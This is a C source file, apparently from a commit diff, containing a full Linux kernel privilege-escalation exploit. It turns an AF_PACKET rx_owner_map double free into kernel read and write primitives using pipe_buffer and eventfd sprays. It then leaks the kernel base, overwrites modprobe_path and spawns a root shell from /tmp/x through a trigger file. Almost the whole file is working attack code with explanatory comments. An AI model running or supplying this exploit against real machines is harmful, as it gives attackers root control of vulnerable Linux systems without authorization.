1+ #define _GNU_SOURCE
2+ #include "exploit.h"
3+ #include <assert.h>
4+ #include <fcntl.h>
5+ #include <linux/if_packet.h>
6+ #include <sched.h>
7+ #include <stdbool.h>
8+ #include <stdint.h>
9+ #include <stdio.h>
10+ #include <stdlib.h>
11+ #include <string.h>
12+ #include <sys/eventfd.h>
13+ #include <sys/ioctl.h>
14+ #include <sys/socket.h>
15+ #include <sys/types.h>
16+ #include <sys/wait.h>
17+ #include <unistd.h>
18+
19+ int fpair [2 ];
20+
21+ static void setup_sandbox () {
22+ unshare (CLONE_NEWNET | CLONE_NEWUSER );
23+ cpu_set_t set ;
24+ CPU_ZERO (& set );
25+ CPU_SET (0 , & set );
26+ CHECK (sched_setaffinity (getpid (), sizeof (set ), & set ) < 0 );
27+ }
28+
29+ static void close_prev_fds () {
30+ for (int i = 3 ; i < 0x9000 ; ++ i ) {
31+ if (i != fpair [1 ])
32+ close (i );
33+ }
34+ }
35+
36+ static void setpipe_sz (struct pipe_rw * p , unsigned int size ) {
37+ CHECK (fcntl (p -> w , F_SETPIPE_SZ , size ));
38+ }
39+
40+ struct pipe_rw * alloc_pipes (exploit_ctx * ctx , int n , bool init_pipes ) {
41+ int fd_pair [2 ];
42+ struct pipe_rw * pipes ;
43+
44+ ctx -> pipe_data = ctx -> pipe_data ? ctx -> pipe_data : calloc (1 , 0x5000 );
45+ pipes = calloc (n , sizeof (* pipes ));
46+
47+ for (int i = 0 ; i < n ; ++ i ) {
48+ CHECK (pipe (fd_pair ));
49+ pipes [i ].r = fd_pair [0 ];
50+ pipes [i ].w = fd_pair [1 ];
51+ setpipe_sz (& pipes [i ], pipesz (256 ));
52+ }
53+
54+ if (!init_pipes )
55+ goto pipe_alloc_ret ;
56+
57+ for (int i = 0 ; i < n ; ++ i ) {
58+ if (i < (n - 0x30 )) {
59+ CHECK (write (pipes [i ].w , ctx -> pipe_data , 0x2002 ));
60+ }
61+ CHECK (write (pipes [i ].w , ctx -> pipe_data , 2 ));
62+ }
63+
64+ pipe_alloc_ret :
65+ return pipes ;
66+ }
67+
68+ static void release_pipe (struct pipe_rw * p ) {
69+ close (p -> r );
70+ close (p -> w );
71+ }
72+
73+ static int fionread (int fd ) {
74+ int len = -1 ;
75+ while (ioctl (fd , FIONREAD , & len ) < 0 )
76+ usleep (1000 );
77+ return len ;
78+ }
79+
80+ static void release_dup_page (exploit_ctx * ctx , struct pipe_rw * p ,
81+ struct pipe_rw * q ) {
82+ char tmp [0x100 ];
83+ setpipe_sz (q , pipesz (256 ));
84+ read (p -> r , tmp , 0x100 - 8 );
85+ ctx -> corrupt = q ;
86+ }
87+
88+ static void eventfd_reclaim (exploit_ctx * ctx ) {
89+ for (int i = 0 ; i < NUM_EVFD ; ++ i )
90+ ctx -> evfds [i ] = CHECK (eventfd (0x13370000 + i , 0 ));
91+ CHECK (read (ctx -> corrupt -> r , ctx -> pipe_data , 0x1000 )); // Release page
92+ CHECK_V (read (ctx -> corrupt -> r , ctx -> pipe_data , 0x78 ), 0x78 );
93+
94+ if ((ctx -> pipe_data_qw [2 ] >> 0x10 ) != 0x1337 ) {
95+ puts ("[-] Exploit Failed. Retrying..." );
96+ int pid = fork ();
97+ if (!pid ) {
98+ exploit (); // Can be improved, but seems to be very stable
99+ exit (0 );
100+ }
101+ wait (NULL );
102+ exit (0 );
103+ }
104+
105+ ctx -> eventfd_idx = ctx -> pipe_data_qw [2 ] - 0x13370000 ;
106+ ctx -> page_addr = ctx -> pipe_data_qw [1 ] - 0x8LL ;
107+ ctx -> page_offset = ctx -> page_addr & ~(0x3fffffff );
108+ printf ("[+] Page addr: %#lx\n" , ctx -> page_addr );
109+ printf ("[+] Page offset: %#lx\n" , ctx -> page_offset );
110+ }
111+
112+ static void realloc_page (exploit_ctx * ctx ) {
113+ ctx -> pipes = alloc_pipes (ctx , 160 , false);
114+
115+ for (int i = 0 ; i < 32 ; ++ i )
116+ close (ctx -> evfds [ctx -> eventfd_idx + i ]);
117+ for (int i = 0 ; i < 160 ; ++ i )
118+ setpipe_sz (& ctx -> pipes [i ], 0x1000 );
119+ for (int i = 0 ; i < 160 ; ++ i )
120+ write (ctx -> pipes [i ].w , ctx -> pipe_data , 3 );
121+
122+ CHECK_V (read (ctx -> corrupt -> r , ctx -> pipe_data , 0x78 ), 0x78 );
123+
124+ ctx -> pbuf_ops = ctx -> pbuf -> ops ;
125+ ctx -> tmp_page = ctx -> pbuf -> page ;
126+ ctx -> vmemmap_base = (ctx -> pbuf -> page & ~(0xfffffffULL ));
127+ ctx -> kbase = ctx -> pbuf_ops - PBUF_OPS_OFF ;
128+
129+ printf ("[+] Anon pipe buf ops: %#lx\n" , ctx -> pbuf_ops );
130+ printf ("[+] Kbase: %#lx\n" , ctx -> kbase );
131+ printf ("[+] Temporary page from pipe buffer: %#lx\n" , ctx -> tmp_page );
132+ printf ("[+] VMEMMAP base: %#lx\n" , ctx -> vmemmap_base );
133+ }
134+
135+ uint64_t virt_to_phys (exploit_ctx * ctx , unsigned long x ) {
136+ unsigned long y = x - __START_KERNEL_map ;
137+ assert (x < y );
138+
139+ return x - ctx -> page_offset ;
140+ }
141+
142+ #define __pfn_to_page (pfn ) (ctx->vmemmap_base + (pfn))
143+
144+ static struct pipe_rw * find_pipe_sz (exploit_ctx * ctx , size_t len ) {
145+ for (int i = 0 ; i < 160 ; ++ i )
146+ if (fionread (ctx -> pipes [i ].r ) == len )
147+ return & ctx -> pipes [i ];
148+ assert (0 );
149+ }
150+
151+ static void setup_rw (exploit_ctx * ctx ) {
152+ struct pipe_buffer * corrupting_buf = calloc (2 , 0x40 );
153+ struct pipe_buffer * corrupt_buf =
154+ (struct pipe_buffer * )((char * )corrupting_buf + 0x40 );
155+
156+ corrupting_buf -> page =
157+ __pfn_to_page ((virt_to_phys (ctx , ctx -> page_addr ) >> 12 ) * 0x40 );
158+
159+ corrupting_buf -> ops = ctx -> pbuf_ops ;
160+ corrupting_buf -> offset = 0x100 ;
161+
162+ write (ctx -> corrupt -> w , corrupting_buf , 0x40 );
163+ struct pipe_rw * corrupting_pipe = find_pipe_sz (ctx , corrupting_buf -> len );
164+
165+ corrupt_buf -> page = ctx -> tmp_page ;
166+ corrupt_buf -> len = 0xbad ;
167+ corrupt_buf -> ops = ctx -> pbuf_ops ;
168+
169+ corrupting_buf -> len = -0x80 ;
170+
171+ CHECK_V (write (corrupting_pipe -> w , (void * )corrupting_buf , 0x80 ), 0x80 );
172+ struct pipe_rw * corrupt_pipe = find_pipe_sz (ctx , corrupt_buf -> len );
173+
174+ ctx -> corrupt = corrupt_pipe ;
175+ ctx -> corrupt_buf = corrupt_buf ;
176+ ctx -> corrupting = corrupting_pipe ;
177+ ctx -> corrupting_buf = corrupting_buf ;
178+ }
179+
180+ static void kread (exploit_ctx * ctx , uint64_t kaddr , char * uaddr ,
181+ unsigned int len , enum ktype kreg ) {
182+
183+ kaddr = (kreg == KHEAP )
184+ ? kaddr
185+ : (ctx -> page_offset + ctx -> kvoff + kaddr - ctx -> kbase );
186+ ctx -> corrupt_buf -> page =
187+ __pfn_to_page ((virt_to_phys (ctx , kaddr ) >> 12 ) * 0x40 );
188+ ctx -> corrupt_buf -> offset = (unsigned int )(kaddr & 0xfffLL );
189+ ctx -> corrupt_buf -> len = 0x1000 - ctx -> corrupt_buf -> offset ;
190+
191+ CHECK_V (write (ctx -> corrupting -> w , (void * )ctx -> corrupting_buf , 0x80 ), 0x80 );
192+ CHECK_V (read (ctx -> corrupt -> r , uaddr , len ), len );
193+ }
194+
195+ static void kwrite (exploit_ctx * ctx , uint64_t kaddr , char * uaddr ,
196+ unsigned int len , enum ktype kreg ) {
197+ kaddr = (kreg == KHEAP )
198+ ? kaddr
199+ : (ctx -> page_offset + ctx -> kvoff + kaddr - ctx -> kbase );
200+ ctx -> corrupt_buf -> page =
201+ __pfn_to_page ((virt_to_phys (ctx , kaddr ) >> 12 ) * 0x40 );
202+ ctx -> corrupt_buf -> offset = 0 ;
203+ ctx -> corrupt_buf -> len = (unsigned int )(kaddr & 0xfffLL );
204+
205+ CHECK_V (write (ctx -> corrupting -> w , (void * )ctx -> corrupting_buf , 0x80 ), 0x80 );
206+ CHECK_V (write (ctx -> corrupt -> w , uaddr , len ), len );
207+ }
208+
209+ static void find_kvoff (exploit_ctx * ctx ) {
210+ uint64_t startup_qw = 0 ;
211+ while (1 ) {
212+ kread (ctx , ctx -> page_offset + ctx -> kvoff , (char * )& startup_qw , 8 , KHEAP );
213+ if (startup_qw != STARTUP_QW ) {
214+ ctx -> kvoff += 0x10000 ;
215+ continue ;
216+ }
217+ break ;
218+ }
219+ printf ("[+] Kvoff: %#lx\n" , ctx -> kvoff );
220+ }
221+
222+ static void exploit () {
223+ int fd ;
224+ exploit_ctx * ctx ;
225+ struct pipe_rw * pipes , * pipes2 ;
226+
227+ setup_sandbox ();
228+ close_prev_fds ();
229+
230+ fd = CHECK (socket (AF_PACKET , SOCK_RAW , 0 ));
231+ ctx = calloc (1 , sizeof (* ctx ));
232+
233+ /**
234+ * Create NUM_PIPES pipefds and resize each to 0x4000.
235+ * The pipe_inode_info structure is allocated for each pipefd.
236+ * This structure stores a circular list of pipe_buffer structures each
237+ * consisting of a page for storing associated data. The size of the circular
238+ * list is sizeof(pipe_buffer) * num_pages = 64 * 4 = 256. All pipe_buffers
239+ * are allocated from the kmalloc-256 cache after the resize.
240+ **/
241+
242+ pipes = alloc_pipes (ctx , NUM_PIPES , true);
243+
244+ // Swicth to TPACKET_V3
245+ CHECK (setsockopt (fd , SOL_PACKET , PACKET_VERSION , & (int ){TPACKET_V3 },
246+ sizeof (int )));
247+
248+ // Allocate rx_owner_map - kmalloc-2048
249+ union tpacket_req_u treq = {};
250+ treq .req3 .tp_block_size = 0x1000 ;
251+ treq .req3 .tp_block_nr = 0x410 / 8 ;
252+ treq .req3 .tp_frame_size = 0x1000 ;
253+ treq .req3 .tp_frame_nr = 0x410 / 8 ;
254+ CHECK (setsockopt (fd , SOL_PACKET , PACKET_RX_RING , & treq , sizeof (treq )));
255+
256+ /**
257+ * Allocate pipe_buffers and resize to 0x20000. (size = 64 * 32 = 2048)
258+ * Buddy allocator allocates new slabs for kmalloc-2048.
259+ **/
260+
261+ pipes2 = alloc_pipes (ctx , 0x90 , false);
262+ for (int i = 0 ; i < 0x90 ; ++ i )
263+ setpipe_sz (& pipes2 [i ], pipesz (2048 ));
264+
265+ /**
266+ * Free pipe_buffers for reallocation.
267+ * Don't free all so that the slab doesn't get freed.
268+ **/
269+ for (int i = 0 ; i < 0x90 ; ++ i )
270+ if (i & 4 )
271+ release_pipe (& pipes2 [i ]);
272+
273+ // Free rx_owner_map - kmalloc-2048
274+ memset (& treq , 0 , sizeof (treq ));
275+ CHECK (setsockopt (fd , SOL_PACKET , PACKET_RX_RING , & treq , sizeof (treq )));
276+
277+ // Realloc rx_owner_map with pipe_buffer
278+ for (int i = 0 ; i < NUM_PIPES - 0x30 ; ++ i )
279+ setpipe_sz (& pipes [i ], pipesz (2048 ));
280+
281+ /**
282+ * Release the first page for each pipe.
283+ * This is cached at pipe_inode_info->tmp_page.
284+ **/
285+
286+ for (int i = 0 ; i < NUM_PIPES - 0x30 ; ++ i )
287+ CHECK_V (read (pipes [i ].r , ctx -> pipe_data , 0x1000 ), 0x1000 );
288+
289+ // Swicth to TPACKET_V2
290+ CHECK (setsockopt (fd , SOL_PACKET , PACKET_VERSION , & (int ){TPACKET_V2 },
291+ sizeof (int )));
292+
293+ /**
294+ * Double free rx_owner_map
295+ * Hopefully, this was reallocated with the pipe_buffer spray earlier.
296+ **/
297+ treq .req3 .tp_block_size = 0x1000 ;
298+ treq .req3 .tp_block_nr = 1 ;
299+ treq .req3 .tp_frame_size = 0x1000 ;
300+ treq .req3 .tp_frame_nr = 1 ;
301+ CHECK (setsockopt (fd , SOL_PACKET , PACKET_RX_RING , & treq , sizeof (treq )));
302+
303+ // Realloc the pipe_buffer again
304+ for (int i = NUM_PIPES - 0x30 ; i < NUM_PIPES ; ++ i )
305+ setpipe_sz (& pipes [i ], pipesz (2048 ));
306+
307+ memset (ctx -> pipe_data , 0 , 0x1000 );
308+ for (int i = NUM_PIPES - 0x30 ; i < NUM_PIPES ; ++ i ) {
309+ CHECK (write (pipes [i ].w , ctx -> pipe_data , 0x1000 - 2 ));
310+ CHECK (write (pipes [i ].w , ctx -> pipe_data , 0x100 ));
311+ ctx -> pipe_data [0 ]++ ;
312+ }
313+
314+ uint64_t corrupt_pipe_idx ;
315+ size_t len ;
316+
317+ // Find the corrupted pipe_buffer using the length
318+ for (int i = 0 ; i < NUM_PIPES - 0x30 ; ++ i ) {
319+ len = fionread (pipes [i ].r );
320+ if (len != 0x1004 ) {
321+ CHECK (read (pipes [i ].r , & corrupt_pipe_idx , 8 ));
322+ ctx -> corrupt = & pipes [i ];
323+ break ;
324+ }
325+ }
326+
327+ corrupt_pipe_idx += NUM_PIPES - 0x30 ;
328+
329+ // Release unused pipes
330+ for (int i = 0 ; i < 0x90 ; ++ i )
331+ if (!(i & 4 ))
332+ release_pipe (& pipes2 [i ]);
333+
334+ for (int i = 0 ; i < NUM_PIPES ; ++ i ) {
335+ if (ctx -> corrupt == & pipes [i ] || corrupt_pipe_idx == i )
336+ continue ;
337+ release_pipe (& pipes [i ]);
338+ }
339+
340+ // Two pipe_buffers now have reference to the same page. Release the dup
341+ // pipe_buffer to free the page.
342+ release_dup_page (ctx , ctx -> corrupt , & pipes [corrupt_pipe_idx ]);
343+ // Reclaim the freed page with a eventfd spray.
344+ eventfd_reclaim (ctx );
345+ realloc_page (ctx );
346+
347+ setup_rw (ctx );
348+ find_kvoff (ctx );
349+ kwrite (ctx , ctx -> kbase + MODPROBE_OFF , "/tmp/x" , 7 , KIMG );
350+
351+ CHECK (write (fpair [1 ], "a" , 1 ));
352+ while (1 )
353+ sleep (0x1000000 );
354+ }
355+
356+ void modprobe_to_root () {
357+ system ("echo '#!/bin/sh' > /tmp/x; echo 'setsid cttyhack setuidgid 0 "
358+ "/bin/sh' >> /tmp/x" );
359+ system ("chmod +x /tmp/x" );
360+ system ("echo -ne '\xff\xff\xff\xff' > /tmp/trigger && chmod 777 "
361+ "/tmp/trigger && /tmp/trigger" );
362+ system ("sh" );
363+ }
364+
365+ int main (void ) {
366+ int pid ;
367+ char tmp ;
368+
369+ CHECK (pipe (fpair ));
370+ pid = fork ();
371+ if (!pid ) {
372+ exploit ();
373+ exit (0 );
374+ }
375+
376+ read (fpair [0 ], & tmp , 1 );
377+ modprobe_to_root ();
378+ }
0 commit comments